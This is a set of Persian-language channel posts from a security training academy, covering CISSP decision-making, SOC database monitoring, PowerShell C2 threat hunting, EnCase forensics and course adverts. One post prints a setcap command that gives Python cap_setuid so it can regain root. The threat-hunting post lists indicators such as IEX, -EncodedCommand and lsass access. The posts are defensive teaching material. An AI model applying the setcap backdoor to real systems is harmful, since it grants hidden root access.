✅️ تعصبات شناختی (Cognitive Biases) تیم و خودمان را شناسایی می‌کنیم.
✅️تأثیرات تصمیمات احتمالی بر روی موجودیت‌های کلیدی (C-Suite، مشتریان، سهامداران) را پیش‌بینی می‌کنیم.
✅️دانش خود در حوزه معماری امنیت و طراحی سیستم‌های امن را برای درک اینکه آیا این تهدید یک نقص سیستمی است یا یک نقص عملیاتی، به کار می‌گیریم.

🔰توقف هوشمندانه، تصمیم ایمن: اگر فازهای “Observe” و “Orient” با عمق کافی انجام نشود، تصمیم (Decide) در خلاء یا بر اساس فرضیات ناقص گرفته خواهد شد. تصمیم‌گیری عجولانه منجر به “اقدامات فاجعه‌بار” می‌شود: هدر رفتن بودجه، اتخاذ راه‌حل‌های کوتاه‌مدت ناامن، یا بدتر از همه، نادیده گرفتن ریشه اصلی مشکل.

✳️به عنوان یک CISSP، ماموریت ما کاهش دادن زمان کل حلقه OODA است، و این کاهش زمان نه با سرعت دادن به مراحل، بلکه با افزایش دقت “مشاهده” و “جهت‌گیری” محقق می‌شود. این کند کردن استراتژیک، تضمین می‌کند که تصمیمات ما دقیق و پایدار باشند و احتمال شکست استراتژیک به حداقل برسد.

موفقیت شما در امنیت، در عمق تفکر شما نهفته است، نه فقط در سرعت عملتان.

#OODA #مدیریت_ریسک #امنیت_اطلاعات #آکادمی_روزبه


www.haumoun.com
پنج شنبه ۸ آبان ۱۴۰۴ تهران شرکت هامون

آکادمی آموزش روزبه 📚

24 October 2025 17:43

الان میخوانم ؛ برایتان خواهم نوشت

https://specterops.io/blog/2025/10/23/catching-credential-guard-off-guard/

آکادمی آموزش روزبه 📚

23 October 2025 09:11

تجربه امروز در SOC و پایگاه داده
اسکما

در معماری پایش امنیتی پایگاه‌داده، وجود یک سازوکار هماهنگ میان Parser، Rule Engine و Dashboard حیاتی است تا تحلیل‌گر SOC بتواند رفتارهای غیرعادی را در لایه داده به‌صورت دقیق و با زمینه‌ سازی (Context Awareness) مشاهده کند.
نخستین گام، تقویت Parser است؛ این مؤلفه باید فیلد‌ حیاتی schema_name را از لاگ‌های SQL استخراج و ذخیره کند، زیرا بدون آن، تشخیص سطح حساسیت و حوزه‌ی داده عملاً غیرممکن است. داده‌های خام، زمانی ارزش امنیتی می‌یابند که با اسکما مرتبط شوند و مشخص شود عملیات روی کدام بخش از داده‌های سازمان انجام گرفته است.

در گام دوم، Rule Engine باید تناظر یابی حساسیت یا Sensitivity Mapping اسکماها را بشناسد و آن را در تحلیل همبسته به‌کار گیرد. به این معنا که یک دستور SELECT از اسکمای عمومی ممکن است عادی تلقی شود، اما همان دستور از اسکمای مالی یا منابع انسانی باید به‌عنوان رویداد پرریسک نشانه‌گذاری گردد. این همبستگی میان حساسیت داده و رفتار کاربر، مبنای تشخیص تهدیدهای داخلی و دسترسی‌های غیرمجاز است.

در نهایت، Dashboard باید خروجی تحلیل را بر اساس طبقه‌بندی اسکماها نمایش دهد تا فعالیت‌های مرتبط با اسکماهای Critical در نمایی مجزا، فوری و رنگ‌کد‌بندی‌شده در دسترس تیم SOC قرار گیرد.

#آکادمی_روزبه

آکادمی آموزش روزبه 📚

20 October 2025 22:42

ساعت ۹ دقیقه بامداد ۲۹ مهرماه ۴۰۴


دریابید

https://cybersecuritynews.com/poc-wsus-rce-vulnerability/

آکادمی آموزش روزبه 📚

19 October 2025 16:47

از جمله دوره های رایگان

https://redteamleaders.coursestack.com/courses/c70481ef-a140-44f3-bd5b-6dd976476392

آکادمی آموزش روزبه 📚

19 October 2025 10:08

تجربه

یکی از روش‌های مورد استفاده مهاجمان برای این که بتوانند دسترسی root را دوباره به‌دست بیاورند، استفاده از «Linux Capabilities» برای باینری Python است.
مثال :

bash

setcap cap_setuid+ep /usr/bin/python3.12

توضیح:

در لینوکس، دستور setcap به یک فایل اجرایی قابلیت‌هایی (Capabilities) می‌دهد که معمولاً فقط فایل‌های با سطح دسترسی SUID دارند.

در این مثال، با فعال‌کردن قابلیت cap_setuid+ep برای /usr/bin/python3.12، مهاجم باعث می‌شود که باینری Python بتواند سطح دسترسی کاربر جاری را به root تغییر دهد (مثل setuid root بدون نیاز به SUID bit).

⚠️ پیامد امنیتی:

بدون اینکه بیت SUID را روی فایل Python تنظیم کنند یا باینری را تغییر دهند، مهاجم می‌تواند با استفاده از همین قابلیت‌ها:

از طریق Python یک شِل (Shell) با دسترسی root اجرا کند.
درب‌پشتی‌های سطح پایین و پنهان بسازد.
این تغییر سطح دسترسی ممکن است از دید ابزارهای امنیتی یا سیستم‌های مانیتورینگ ساده پنهان بماند، چون فایل Python هنوز ظاهر عادی دارد.


#نشر_دانش
#آکادمی_روزبه

مرکز تخصصی CISSP

آکادمی آموزش روزبه 📚

17 October 2025 11:03

دوره CISSP یکتا و ممتاز
برای تمام ایرانیان -آنلاین

با پکیج ویژه و یکسال منتورینگ استاد روزبه

واتس اپ 09902857290

کاملترین دوره CISSP در ایران به تایید دانشجویان

✳️✳️✳️✳️✳️✳️✳️

#آکادمی_روزبه
مرکز تخصصی CISSP
www.haumoun.com


سمینار و کارگاه عملی CISSP

مختص دانشجویان آکادمی روزبه و شرکت هامون www.haumoun.com

۸ آبانماه ۱۴۰۴ تهران


**این سمینار جزو پکیج آموزشی آمادگی آزمون CISSP است که در راستای جبران کمبود روش تدریس آنلاین و انجام کارگاه و منتورینگ و نتورکینگ اعضای کلاس های امسال؛ تشکیل میگردد

آکادمی آموزش روزبه 📚

16 October 2025 14:07

یکی مانده به آخر !

جلسه امروز مقدمه ای بر پایان دوره دوم CISSP سال ۱۴۰۴ آکادمی روزبه و شرکت هامون بود. اما شروعی بر فردای بهتر با تحویل ۱۸ متخصص عالی امنیت به جامعه ایران و حتی سایر کشورها.


تلاش می‌کنم دوره ای که برگزار میکنم ممتاز باشد چون اول برای خودم ارزش قائلم و بعد به حق شرکت کنندگان احترام میگذارم


با شما خواهم بود در سومین دوره CISSP سال ۱۴۰۴ همراه با پکیج آمادگی آزمون رسمی به زبان زیبای فارسی : ثبت نام توسط واتس اپ 09902857290
Www.haumoun.com

آکادمی آموزش روزبه 📚

15 October 2025 18:11

شکار تهدیدات پیشرفته: روش‌های شناسایی چارچوب‌های C2 مبتنی بر PowerShell در حافظه

مقدمه: چالش حملات بدون فایل (Fileless Attacks)

در سناریوهای پس از نفوذ (Post-Exploitation)، مهاجمان حرفه‌ای برای حفظ کنترل پایدار و پنهان بر روی سیستم‌های قربانی، از چارچوب‌های فرمان و کنترل (C2) پیشرفته‌ای مانند PowerShell Empire و Covenant استفاده می‌کنند. ویژگی اصلی این ابزارها، اجرای کدها مستقیماً در حافظه (Memory-Resident Execution) است. این تکنیک به مهاجم اجازه می‌دهد تا اسکریپت‌های مخرب PowerShell را بدون ایجاد هیچ فایلی روی دیسک اجرا کند و در نتیجه، از دید بسیاری از آنتی‌ویروس‌های سنتی که بر اسکن فایل‌ها متمرکز هستند، پنهان بماند.

مهاجم معمولاً با استفاده از دستوراتی مانند Invoke-Expression (IEX) یا پارامتر -EncodedCommand، اسکریپت‌های خود را رمزگذاری (Encode) کرده و از طریق کانال‌های ارتباطی رایج مانند HTTP، HTTPS یا SMB به سرور C2 متصل می‌شود. این امر باعث می‌شود ترافیک شبکه ظاهری کاملاً عادی داشته باشد، در حالی که در واقعیت، سیستم تحت کنترل کامل مهاجم قرار دارد.
بخش اول: تغییر رویکرد دفاعی؛ از فایل به رفتار
برای کشف این نوع فعالیت‌های مخفیانه، تیم‌های امنیتی باید تمرکز خود را از تحلیل «فایل‌های مخرب» به سمت نظارت بر «رفتار فرآیندها و تغییرات حافظه» معطوف کنند. سرنخ‌های اصلی شناسایی این حملات، در خودِ فرآیندهای PowerShell و نحوه اجرای آن‌ها نهفته است.
بخش دوم: ابزارها و تکنیک‌های کلیدی برای شناسایی
۱. فعال‌سازی لاگ‌های پیشرفته PowerShell:
اولین و مهم‌ترین گام، فعال‌سازی قابلیت‌های ثبت لاگ داخلی PowerShell است. این قابلیت‌ها دید عمیقی از کدهای اجراشده فراهم می‌کنند:
Script Block Logging (Event ID 4104): این لاگ، محتوای کامل اسکریپت‌های اجراشده را ثبت می‌کند، حتی اگر رمزگذاری شده یا در حافظه اجرا شوند. تحلیلگران با بررسی این رویداد می‌توانند کدهای مخفی‌شده در دستورات IEX یا -EncodedCommand را مشاهده کنند.
Module Logging (Event ID 4103): این قابلیت، جزئیات بارگذاری ماژول‌های PowerShell و فراخوانی توابع مختلف را ثبت می‌کند که می‌تواند برای شناسایی رفتارهای غیرعادی مفید باشد.
۲. نظارت عمیق بر فرآیندها با Sysmon:
ابزار Sysmon (بخشی از مجموعه Sysinternals) یک ابزار قدرتمند برای نظارت بر فعالیت‌های سطح سیستم‌عامل است. با نصب و پیکربندی صحیح Sysmon، می‌توان رویدادهای حیاتی زیر را که مستقیماً به حملات PowerShell مرتبط هستند، ثبت و تحلیل کرد:
Event ID 1: Process Creation: ایجاد هر فرآیند PowerShell را به همراه پارامترهای خط فرمان آن ثبت می‌کند. وجود پارامترهای مشکوکی مانند -e, -enc, IEX, -nop, -w hidden یا DownloadString در این لاگ، یک نشانه خطر جدی است.
Event ID 17 & 18: Pipe Created/Connected: ابزارهایی مانند Empire برای ارتباط بین اجزای خود در داخل یک سیستم (Lateral Movement) از Named Pipe استفاده می‌کنند. شناسایی Pipeهایی با نام‌های غیرمتعارف (مانند \\.\pipe\MSSE-*.server) می‌تواند نشان‌دهنده فعالیت C2 داخلی باشد.
Event ID 10: Process Access: این رویداد، دسترسی یک فرآیند به حافظه فرآیند دیگر را ثبت می‌کند. دسترسی غیرعادی یک فرآیند PowerShell یا rundll32.exe به حافظه فرآیند lsass.exe (که وظیفه مدیریت اعتبارسنجی‌ها را بر عهده دارد)، یک نشانه قوی از تلاش برای سرقت اطلاعات هویتی با ابزارهایی مانند Mimikatz است.
بخش سوم: تحلیل داده‌ها و شکار تهدید (Threat Hunting)
پس از جمع‌آوری لاگ‌ها از منابع فوق، باید آن‌ها را در یک پلتفرم مدیریت اطلاعات و رخدادهای امنیتی (SIEM) متمرکز کرده و تحلیل نمود. تحلیلگران می‌توانند با استفاده از کوئری‌های هدفمند، به شکار این تهدیدات بپردازند:
جستجوی رشته‌های Base64 طولانی: دستورات -EncodedCommand از رمزگذاری Base64 استفاده می‌کنند. جستجوی فرآیندهای PowerShell که دارای رشته‌های Base64 بسیار طولانی در خط فرمان خود هستند، یک تکنیک شکار مؤثر است.
ارتباطات شبکه‌ای مشکوک: بررسی فرآیندهای PowerShell که ارتباطات شبکه‌ای به خارج از سازمان برقرار می‌کنند، به‌ویژه اگر از مسیرهای غیرمعمول مانند پوشه Temp اجرا شده باشند.
تحلیل User-Agent در لاگ‌های پراکسی: چارچوب‌های C2 معمولاً از User-Agentهای خاص یا غیرمرسومی در ارتباطات HTTP/HTTPS خود استفاده می‌کنند. شناسایی این الگوها در لاگ‌های وب‌پراکسی می‌تواند به کشف سرورهای C2 کمک کند.



ثبت نام دوره های امنیت سطح ۱ و ۲
واتس اپ 09902857290
Www.haumoun.com

آکادمی آموزش روزبه 📚

14 October 2025 21:36

ثبت نام دوره های زیر شروع شد:

امنیت سطح ۱ و ۲ و CISSP

واتس اپ و بله 09902857290

آکادمی آموزش روزبه 📚

14 October 2025 10:53

چرا پیشنهاد میکنم هر سازمان یک EnCase داشته باشد

روزبه نوروزی

دلیل اینکه EnCase یکی از ابزارهای معتبر و پذیرفته‌شده برای ارائه‌ی ادله‌ی دیجیتال در دادگاه‌ها (هم در نظام حقوقی آمریکا و هم در کشورهایی با استاندارد مشابه) محسوب می‌شود، به چند ویژگی بنیادین آن در حوزه‌ی Forensic Soundness و Evidence Handling برمی‌گردد:
🔹 ۱. حفظ کامل اصل شواهد (Forensic Image Creation)

در EnCase برای جمع‌آوری داده از رسانه‌ها، از bit‑by‑bit imaging استفاده می‌شود

یعنی هر بیت از دیسک مظنون (حتی فضای آزاد و deleted sectors) دقیقاً و بدون هیچ تغییری کپی می‌شود.

به این ترتیب، بررسی روی کپی مجاز (forensic image) انجام می‌شود نه روی منبع اصلی. این کار:

مانع آلوده شدن شواهد واقعی می‌شود؛
و زنجیره‌ی مالکیت (Chain of Custody) حفظ می‌شود.

🔹 ۲. محاسبه و تأیید هش (Cryptographic Hash Verification)

ابزار در لحظه‌ی ایمیج‌گیری، مقادیر MD5 و SHA1/SHA256 از داده‌ها تولید می‌کند و در گزارش Chain of Custody ذخیره می‌کند.

در هر مرحله بعدی (تحلیل، انتقال، بایگانی) هش دوباره محاسبه می‌شود تا ثابت شود:

شواهد هیچ‌گونه تغییری نکرده‌اند.

این موضوع از نظر دادگاه‌ها شرط کلیدی برای قابلیت پذیرش ادله است.
🔹 ۳. گزارش‌دهی و مستندسازی قانونی (Court‑Admissible Reporting)

ابزار EnCase همه‌ی فعالیت‌ها را در فایل Log غیرقابل ویرایش ثبت می‌کند:

زمان ایمیج‌گیری
نام تحلیلگر
مسیرها و تنظیمات ابزار
نسخه نرم‌افزار و افزونه‌ها

خروجی نهایی هم در قالب گزارش رسمی قابل پرینت و آرشیو است که در نظام حقوقی مبتنی بر ISO/IEC 27037 و NIST SP 800‑86 به عنوان سند رسمی پذیرفته می‌شود.
🔹 ۴. روش علمی و تأییدشده (Validated Methodology)

در بسیاری از کشورها (مثل امریکا)، ابزارهایی که در دادگاه پذیرفته می‌شوند باید معیارهای Daubert یا Frye را تأمین کنند:

روششان علمی و قابل بازتولید باشد،
در جامعه‌ی فنی مورد پذیرش قرار گرفته باشد،
و نرخ خطای شناخته‌شده و پایین داشته باشد.

ابزار EnCase به عنوان یک محصول validated با سابقه‌ی استناد در صدها پرونده، این معیارها را داراست.
🔹 ۵. زنجیره‌ی مالکیت دیجیتال یکپارچه (Integrated Chain of Custody)

در نسخه‌های جدید ، ماژول Chain of Custody به صورت خودکار برای هر شواهد دیجیتال تولید می‌شود و هر انتقال یا مشاهده ثبت می‌گردد. این باعث می‌شود که گزارش خروجی بتواند مستقیماً به عنوان بخشی از پرونده قضایی الصاق شود.
🔹 ۶. قابلیت بازیابی بدون تغییر و تحلیل عمیق

ابزار EnCase می‌تواند داده‌ها را (ایمیل‌ها، فایل‌های حذف‌شده، متادیتاها، Registry، File Slacks و …) بازسازی کند بدون آنکه محتویات فایل یا زمان‌بندی‌ها را بنویسد یا دست‌کاری کند.

این قابلیت نشان می‌دهد که تحلیلگر از روش Read‑Only استفاده کرده، و از دیدگاه حقوقی “عدم تغییر ادله” رعایت شده است و به‌ هدف Chain of Custody نائل شده ایم.

#آکادمی_روزبه